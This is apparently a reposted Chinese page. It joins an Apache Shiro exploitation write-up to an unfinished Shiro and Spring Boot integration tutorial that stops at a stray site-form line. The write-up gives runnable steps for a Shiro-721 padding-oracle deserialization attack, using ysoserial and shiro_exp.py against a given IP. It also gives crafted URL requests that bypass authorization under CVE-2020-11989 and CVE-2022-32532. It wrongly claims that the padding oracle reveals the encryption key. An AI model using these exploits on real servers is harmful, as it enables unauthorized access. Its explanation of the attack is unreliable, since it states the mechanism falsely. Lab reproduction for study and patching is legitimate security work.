? 由于Apache Shiro cookie中通過 AES-128-CBC 模式加密的rememberMe字段存在問題,用戶可通過Padding Oracle 加密生成的攻擊代碼來構(gòu)造惡意的rememberMe字段,用有效的RememberMe cookie作為Padding Oracle Attack 的前綴,然后制作精心制作的RememberMe來執(zhí)行Java反序列化攻擊
? 登錄網(wǎng)站,并從cookie中獲取RememberMe。使用RememberMe cookie作為Padding Oracle Attack的前綴。加密syserial的序列化有效負載,以通過Padding Oracle Attack制作精心制作的RememberMe。請求帶有新的RememberMe cookie的網(wǎng)站,以執(zhí)行反序列化攻擊。攻擊者無需知道RememberMe加密的密碼密鑰。
屬于AES加密算法的CBC模式,使用128位數(shù)據(jù)塊為一組進行加密解密,即16字節(jié)明文,對應(yīng)16字節(jié)密文,,明文加密時,如果數(shù)據(jù)不夠16字節(jié),則會將數(shù)據(jù)補全剩余字節(jié)
? Padding Oracle攻擊可以在沒有密鑰的情況下加密或解密密文
? Shiro Padding Oracle Attack(Shiro填充Oracle攻擊)是一種針對Apache Shiro身份驗證框架的安全漏洞攻擊。Apache Shiro是Java應(yīng)用程序中廣泛使用的身份驗證和授權(quán)框架,用于管理用戶會話、權(quán)限驗證等功能。
? Padding Oracle Attack(填充Oracle攻擊)是一種針對加密算法使用填充的安全漏洞攻擊。在加密通信中,填充用于將明文數(shù)據(jù)擴展到加密算法塊大小的倍數(shù)。在此攻擊中,攻擊者利用填充的響應(yīng)信息來推斷出加密算法中的秘密信息。
? Shiro Padding Oracle Attack利用了Shiro框架中的身份驗證過程中的一個漏洞,該漏洞允許攻擊者通過填充信息的不同響應(yīng)時間來確定身份驗證過程中的錯誤。通過不斷嘗試不同的填充方式,攻擊者可以逐步推斷出加密秘鑰,并最終獲取訪問權(quán)限。
? 這種攻擊利用了填充錯誤的身份驗證響應(yīng)來獲取關(guān)于秘密信息的信息泄漏,然后根據(jù)這些信息進行進一步的攻擊。為了防止Shiro Padding Oracle Attack,建議及時更新Apache Shiro版本,確保已修復(fù)該漏洞,并采取其他安全措施,如使用安全的加密算法和密鑰管理策略。
docker pull vulfocus/shiro-721
docker run -d -p 8080:8080 vulfocus/shiro-721
環(huán)境啟動完成后,在本地瀏覽器訪問靶場地址:your-ip:8080
? 0x01 登錄成功后,我們從Cookie中獲取到rememberMe字段的值
0x02 使用ysoserial生成Payload
java -jar ysoserial.jar CommonsCollections1 "touch /tmp/YikJiang" > payload.class
0x03 使用rememberMe值作為prefix,加載Payload,進行Padding Oracle攻擊。
python shiro_exp.py http://47.95.201.15:8080/account/ k+3DDsh6f+macxMUtS2QvAS7Fm3CyMpFB6wz4apvrieZhTIMaLey74RYMgywpM2fFncf3y7cRTU6F73MIJ5ygJ0QqzYlvX2xcmOUCe+uLiH66B0aAcs7vY6Ipimbo8tTX3vbReu0vovnmDVK4fT+lfmhZxtgFp8imCapqIb6KYr3NtmQTfORGhFZ+I2vzMN2geaYRwFkTbzfuo8vHgmzHJaR1jTn2sLVaxiIuqMYqsjiCVvN7q64wpde0JGQs1eowMKJ5VSlnUnp1NGficIFYdTETxDjJJHrmKNSxdHPCstWfQD3N6jEK1CT3vE+UxxVrtSO2XoBEHYrSTdK1bxVtunwVu5+F7lfwex3b2qY/F6EzCUjzKQN13AmqhrnyesRx+AYNzVFCZ49oYfj/dtz1XKbGr9anMuw6dq/avJdMfHzlEUThYFgZ2yRSUBAlOGliwwV+GRuhjRocka3wAgjxyG80VdJiovtXhoEhvd3peYC6TzPi2hPVXppVq3P+F8s payload.class
生成的payload.class內(nèi)容越多時間就越長,所以盡量選擇較短的命令執(zhí)行來復(fù)現(xiàn)漏洞即可。最終會生成如下rememberMe cookies
我們將跑出來的Cookie添加到數(shù)據(jù)包中進行發(fā)送,就可以 發(fā)現(xiàn)在靶機中成果創(chuàng)建了對應(yīng)的文件。
到這未知其實經(jīng)常遇到的Shrio漏洞已經(jīng)表述的差不多了,下面幾個是shiro存在但是在現(xiàn)實中利用難度大或者是比較少的洞,可以簡單了解一下
? 在Apache Shiro 1.5.2以前的版本中,在使用Spring動態(tài)控制器時,攻擊者通過構(gòu)造..;這樣的跳轉(zhuǎn),可以繞過Shiro中對目錄的權(quán)限限制。
URL請求過程:
@Bean
public ShiroFilterChainDefinition shiroFilterChainDefinition() {
DefaultShiroFilterChainDefinition chainDefinition = new DefaultShiroFilterChainDefinition();
chainDefinition.addPathDefinition("/login.html", "authc"); // need to accept POSTs from the login form
chainDefinition.addPathDefinition("/logout", "logout");
chainDefinition.addPathDefinition("/admin/**", "authc");
return chainDefinition;
}
直接請求管理頁面/admin/,無法訪問,將會被重定向到登錄頁面
構(gòu)造惡意請求/xxx/..;/admin/,即可繞過權(quán)限校驗,訪問到管理頁面:
? CVE-2020-11989的修復(fù)補丁存在缺陷,在1.5.3及其之前的版本,由于shiro在處理url時與spring仍然存在差異,依然存在身份校驗繞過漏洞由于處理身份驗證請求時出錯,遠程攻擊者可以發(fā)送特制的HTTP請求,繞過身份驗證過程并獲得對應(yīng)用程序的未授權(quán)訪問。
? 該漏洞產(chǎn)生的原因主要是shiro層在處理url上和spring上存在差異,主要是在處理;上的問題,通過構(gòu)造含有;符號的url即可繞過shiro在權(quán)限上的處理,而spring不負責(zé)權(quán)限管控,所以最終會導(dǎo)致權(quán)限繞過。ant風(fēng)格的路徑僅出現(xiàn)一個*時才能成功,而**無法繞過,*:匹配一個或者多個任意的字符。
**:匹配零個或者多個目錄。
/admin/admin
提示讓我們登錄
/admin/%3badmin
Apache Shiro是一個強大且易用的Java安全框架,執(zhí)行身份驗證、授權(quán)、密碼和會話管理。
1.9.1 之前的 Apache Shiro,RegexRequestMatcher 可能被錯誤配置為在某些 servlet 容器上被繞過。在正則表達式中使用帶有.的 RegExPatternMatcher 的應(yīng)用程序可能容易受到授權(quán)繞過。
2022年6月29日,Apache 官方披露 Apache Shiro 權(quán)限繞過漏洞(CVE-2022-32532),當(dāng) Apache Shiro 中使用 RegexRequestMatcher 進行權(quán)限配置,且正則表達式中攜帶“.”時,未經(jīng)授權(quán)的遠程攻擊者可通過構(gòu)造惡意數(shù)據(jù)包繞過身份認證。
Apache Shiro < 1.9.1
訪問
抓包修改
GET /permit/any HTTP/1.1
Host: 123.58.224.8:36930
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: think_lang=zh-cn
Connection: close
需要攜帶token字段
改包繞過
GET /permit/%0any HTTP/1.1
Host: 123.58.224.8:36930
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: think_lang=zh-cn
Connection: close
from https://www.freebuf.com/articles/web/367363.html
hiro 概述
Apache Shiro 是一款 Java 安全框架,不依賴任何容器,可以運行在 Java SE 和 Java EE 項目中,它的主要作用是用來做身份認證、授權(quán)、會話管理和加密等操作。
什么意思?大白話就是判斷用戶是否登錄、是否擁有某些操作的權(quán)限等。
其實不用 Shiro,我們使用原生 Java API 就可以完成安全管理,很簡單,使用過濾器去攔截用戶的各種請求,然后判斷是否登錄、是否擁有某些權(quán)限即可。
我們完全可以完成這些操作,但是對于一個大型的系統(tǒng),分散去管理編寫這些過濾器的邏輯會比較麻煩,不成體系,所以需要使用結(jié)構(gòu)化、工程化、系統(tǒng)化的解決方案。
任何一個業(yè)務(wù)邏輯,一旦上升到企業(yè)級的體量,就必須考慮使用系統(tǒng)化的解決方案,也就是框架,否則后期的開發(fā)成本是相當(dāng)巨大的,Shiro 就是來解決安全管理的系統(tǒng)化框架。
Shiro 核心組件
1、UsernamePasswordToken,Shiro 用來封裝用戶登錄信息,使用用戶的登錄信息創(chuàng)建令牌 Token,登錄的過程即 Shiro 驗證令牌是否具有合法身份以及相關(guān)權(quán)限。
2、 SecurityManager,Shiro 的核心部分,負責(zé)安全認證與授權(quán)。
3、Subject,Shiro 的一個抽象概念,包含了用戶信息。
4、Realm,開發(fā)者自定義的模塊,根據(jù)項目的需求,驗證和授權(quán)的邏輯在 Realm 中實現(xiàn)。
5、AuthenticationInfo,用戶的角色信息集合,認證時使用。
6、AuthorizationInfo,角色的權(quán)限信息集合,授權(quán)時使用。
7、DefaultWebSecurityManager,安全管理器,開發(fā)者自定義的 Realm 需要注入到 DefaultWebSecurityManager 進行管理才能生效。
8、ShiroFilterFactoryBean,過濾器工廠,Shiro 的基本運行機制是開發(fā)者定制規(guī)則,Shiro 去執(zhí)行,具體的執(zhí)行操作就是由 ShiroFilterFactoryBean 創(chuàng)建一個個 Filter 對象來完成。
Shiro 的運行機制如下圖所示。
Shiro 整合 Spring Boot
1、我們使用 Spring Boot 集成 Shiro 的方式快速構(gòu)建工程,創(chuàng)建 Spring Boot Initializr 工程,使用最新版的 Spring Boot 2.3.0。
2、選擇需要添加的 dependencies 依賴。
3、我們會發(fā)現(xiàn) Spring Boot 官方的 Security 依賴庫中并沒有 Shiro,而是其他的框架。
也就是說 Spring Boot 官方并沒有納入 Shiro,怎么解決?很簡單,官方不提供支持,我們就自己手動在 pom.xml 中添加依賴,如下所示,我們?nèi)窟x擇最新版。
<!-- Shiro整合Spring -->org.apache.shiroshiro-spring1.5.3
搞定之后,工程的 Maven 依賴如下所示。
自定義 Shiro 過濾器
對 URL 進行攔截,沒有認證的需要認證,認證成功的則可以根據(jù)需要判斷角色及權(quán)限。
這個過濾器需要開發(fā)者自定義,然后去指定認證和授權(quán)的邏輯,繼承抽象類 AuthorizingRealm,實現(xiàn)兩個抽象方法分別完成授權(quán)和認證的邏輯。
首先來完成認證的邏輯,需要連接數(shù)據(jù)庫,這里我們使用 MyBatis Plus 來完成,pom.xml 中添加 MyBatis Plus 依賴,如下所示。
mysqlmysql-connector-java8.0.20com.baomidoumybatis-plus-boot-starter3.3.1.tmp
創(chuàng)建數(shù)據(jù)表 account,添加兩條記錄,SQL 如下所。
CREATETABLE`account`(`id`intNOTNULLAUTO_INCREMENT,`username`varchar(20)DEFAULTNULL,`password`varchar(20)DEFAULTNULL,`perms`varchar(20)DEFAULTNULL,`role`varchar(20)DEFAULTNULL,PRIMARYKEY(`id`))ENGINE=InnoDBAUTO_INCREMENT=4DEFAULTCHARSET=utf8;LOCKTABLES`account`WRITE;INSERTINTO`account`VALUES(1,'zs','123123','',''),(2,'ls','123123','manage',''),(3,'ww','123123','manage','administrator');UNLOCKTABLES;
創(chuàng)建實體類 Account。
@DatapublicclassAccount {privateInteger id;privateStringusername;privateStringpassword;privateStringperms;privateStringrole;}
創(chuàng)建 AccountMapper 接口。
publicinterfaceAccountMapperextendsBaseMapper{}
創(chuàng)建 application.yml。
spring:datasource:url:jdbc:mysql://localhost:3306/testusername:rootpassword:rootdriver-class-name:com.mysql.cj.jdbc.Drivermybatis-plus:configuration:log-impl:org.apache.ibatis.logging.stdout.StdOutImpl
啟動類添加 @MapperScan 注解掃描 Mapper 接口。
@SpringBootApplication@MapperScan("com.southwind.springbootshirodemo.mapper")publicclassSpringbootshirodemoApplication{publicstaticvoidmain(String[] args){ SpringApplication.run(SpringbootshirodemoApplication.class, args); }}
首先通過單元測試調(diào)試 AccoutMapper 接口。
@SpringBootTestclassAccountMapperTest{@AutowiredprivateAccountMapper accountMapper;@Testvoidtest(){QueryWrapper wrapper =newQueryWrapper();wrapper.eq("username","user"); Account account = accountMapper.selectOne(wrapper); System.out.println(account); }}
返回上圖表示調(diào)試成功,MyBatis Plus 調(diào)試成功,接下來完成 Service 層代碼編寫。
publicinterfaceAccountService{publicAccountfindByUsername(String username);}
publicclassAccountServiceImplimplementsAccountService{@AutowiredprivateAccountMapper accountMapper;@OverridepublicAccountfindByUsername(String username){QueryWrapper wrapper =newQueryWrapper();wrapper.eq("username",username);returnaccountMapper.selectOne(wrapper); }}
回到 Shiro 完成用戶認證,在 MyRealm 中完成代碼的編寫。
publicclassMyRealmextendsAuthorizingRealm{@AutowiredprivateAccountService accountService;/** * 授權(quán)*@paramprincipalCollection*@return */@OverrideprotectedAuthorizationInfodoGetAuthorizationInfo(PrincipalCollection principalCollection){returnnull; }/** * 認證*@paramauthenticationToken*@return*@throwsAuthenticationException */@OverrideprotectedAuthenticationInfodoGetAuthenticationInfo(AuthenticationToken authenticationToken)throwsAuthenticationException{ UsernamePasswordToken token = (UsernamePasswordToken) authenticationToken; Account account = accountService.findByUsername(token.getUsername());if(account !=null){returnnewSimpleAuthenticationInfo(account,account.getPassword(),getName()); }returnnull; }}
客戶端傳來的 username 和 password 會自動封裝到 token,先根據(jù) username 進行查詢,如果返回 null,則表示用戶名錯誤,直接 return null 即可,Shiro 會自動拋出 UnknownAccountException 異常。
如果返回不為 null,則表示用戶名正確,再驗證密碼,直接返回 SimpleAuthenticationInfo 對象即可,如果密碼驗證成功,Shiro 認證通過,否則返回 IncorrectCredentialsException 異常。
自定義過濾器創(chuàng)建完成之后,需要進行配置才能生效,在 Spring Boot 應(yīng)用中,不需要任何的 XML 配置,直接通過配置類進行裝配,代碼如下所示。
@ConfigurationpublicclassShiroConfig{@BeanpublicShiroFilterFactoryBean filterFactoryBean(@Qualifier("manager")DefaultWebSecurityManager manager){ ShiroFilterFactoryBean factoryBean = new ShiroFilterFactoryBean(); factoryBean.setSecurityManager(manager);returnfactoryBean; }@BeanpublicDefaultWebSecurityManager manager(@Qualifier("myRealm")MyRealm myRealm){ DefaultWebSecurityManager manager = new DefaultWebSecurityManager(); manager.setRealm(myRealm);returnmanager; }@BeanpublicMyRealm myRealm(){returnnew MyRealm(); }}
這個配置類中一共自動裝配了 3 個 bean 實例,第一個是自定義過濾器 MyRealm,我們的業(yè)務(wù)邏輯全部定義在這個 bean 中。
然后需要創(chuàng)建第二個 bean 示例 DefaultWebSecurityManager,并且將 MyRealm 注入到 DefaultWebSecurityManager bean 中,完成注冊。
最終需要裝配第三個 bean ShiroFilterFactoryBean,這是 Shiro 自帶的一個 Filter 工廠實例,所有的認證和授權(quán)判斷都是由這個 bean 生成的 Filter 對象來完成的,這就是 Shiro 框架的運行機制,開發(fā)者只需要定義規(guī)則,進行配置,具體的執(zhí)行者全部由 Shiro 自己創(chuàng)建的 Filter 來完成。
所以我們需要給 ShiroFilterFactoryBean 實例注入認證及授權(quán)規(guī)則,如下所示。
認證過濾器:
anon:無需認證即可訪問,游客身份。
authc:必須認證(登錄)才能訪問。
authcBasic:需要通過 httpBasic 認證。
user:不一定已通過認證,只要是曾經(jīng)被 Shiro 記住過登錄狀態(tài)的用戶就可以正常發(fā)起請求,比如 rememberMe。
授權(quán)過濾器:
perms:必須擁有對某個資源的訪問權(quán)限(授權(quán))才能訪問。
role:必須擁有某個角色權(quán)限才能訪問。
port:請求的端口必須為指定值才可以訪問。
rest:請求必須是 RESTful,method 為 post、get、delete、put。
ssl:必須是安全的 URL 請求,協(xié)議為 HTTPS。
比如,我們創(chuàng)建三個頁面,main.html、manage.html、administrator.html,要求如下:
1、必須是登錄狀態(tài)才可以訪問 main.html。
2、用戶必須擁有 manage 授權(quán)才可以訪問 manage.html。
3、用戶必須擁有 administrator 角色才能訪問 administrator.html。
代碼如下所示。
@BeanpublicShiroFilterFactoryBeanfilterFactoryBean(@Qualifier("manager") DefaultWebSecurityManager manager){ShiroFilterFactoryBean factoryBean =newShiroFilterFactoryBean(); factoryBean.setSecurityManager(manager);Mapmap=newHashMap<>();map.put("/main","authc");map.put("/manage","perms[manage]");map.put("/administrator","roles[administrator]");factoryBean.setFilterChainDefinitionMap(map);//設(shè)置登錄頁面factoryBean.setLoginUrl("/login");//未授權(quán)頁面factoryBean.setUnauthorizedUrl("/unauth");returnfactoryBean;}
Controller 如下所示。
@ControllerpublicclassMyController{@GetMapping("/{url}")publicString redirect(@PathVariable("url")String url){returnurl; }@PostMapping("/login")publicString login(String username, String password, Model model){ Subject subject = SecurityUtils.getSubject(); UsernamePasswordToken token = new UsernamePasswordToken(username,password);try{ subject.login(token);return"index";}catch(UnknownAccountException e) {model.addAttribute("msg","用戶名錯誤");return"login";}catch(IncorrectCredentialsException e) {model.addAttribute("msg","密碼錯誤");return"login"; } }@RequestMapping("/unauth")@ResponseBodypublicString unauth(){return"未授權(quán)沒有訪問權(quán)限"; }}
現(xiàn)在只需要登錄就可以訪問 main.html,但是無法訪問 manage.html,這是因為沒有授權(quán),接下來我們完成授權(quán)操作,回到 MyRealm,代碼如下所示。
@OverrideprotectedAuthorizationInfodoGetAuthorizationInfo(PrincipalCollection principalCollection){//獲取當(dāng)前登錄對象 Subject subject = SecurityUtils.getSubject(); Account account = (Account) subject.getPrincipal();//設(shè)置角色Set roles =newHashSet<>();roles.add(account.getRole());SimpleAuthorizationInfo info =newSimpleAuthorizationInfo(roles);//設(shè)置權(quán)限 info.addStringPermission(account.getPerms());returninfo;}
數(shù)據(jù)庫數(shù)據(jù)如下所示。
zs 沒有權(quán)限和角色,所以登錄之后只能訪問 main.html。
ls 擁有 manage 權(quán)限,沒有角色,所以登錄之后可以訪問 main.html、manage.html。
ww 擁有 manage 權(quán)限和 administrator 角色,所以登錄之后可以訪問 main.html、manage.html、administrator.html。
Shiro 整合 Thymeleaf
1、pom.xml 中引入依賴。
<!-- Shiro整合Thymeleaf -->com.github.theborakompanionithymeleaf-extras-shiro2.0.0
2、配置類添加 ShiroDialect。
@BeanpublicShiroDialectshiroDialect(){returnnewShiroDialect();}
3、Controller 登錄成功后將用戶信息存入 session,同時添加退出操作。
@PostMapping("/login")publicString login(String username, String password, Model model){ Subject subject = SecurityUtils.getSubject(); UsernamePasswordToken token = new UsernamePasswordToken(username,password);try{ subject.login(token); Account account = (Account) subject.getPrincipal();subject.getSession().setAttribute("account",account);return"index";}catch(UnknownAccountException e) {model.addAttribute("msg","用戶名錯誤");return"login";}catch(IncorrectCredentialsException e) {model.addAttribute("msg","密碼錯誤");return"login"; }}@GetMapping("/logout")publicString logout(){ Subject subject = SecurityUtils.getSubject(); subject.logout();return"login";}
4、index.html。
*請認真填寫需求信息,我們會在24小時內(nèi)與您取得聯(lián)系。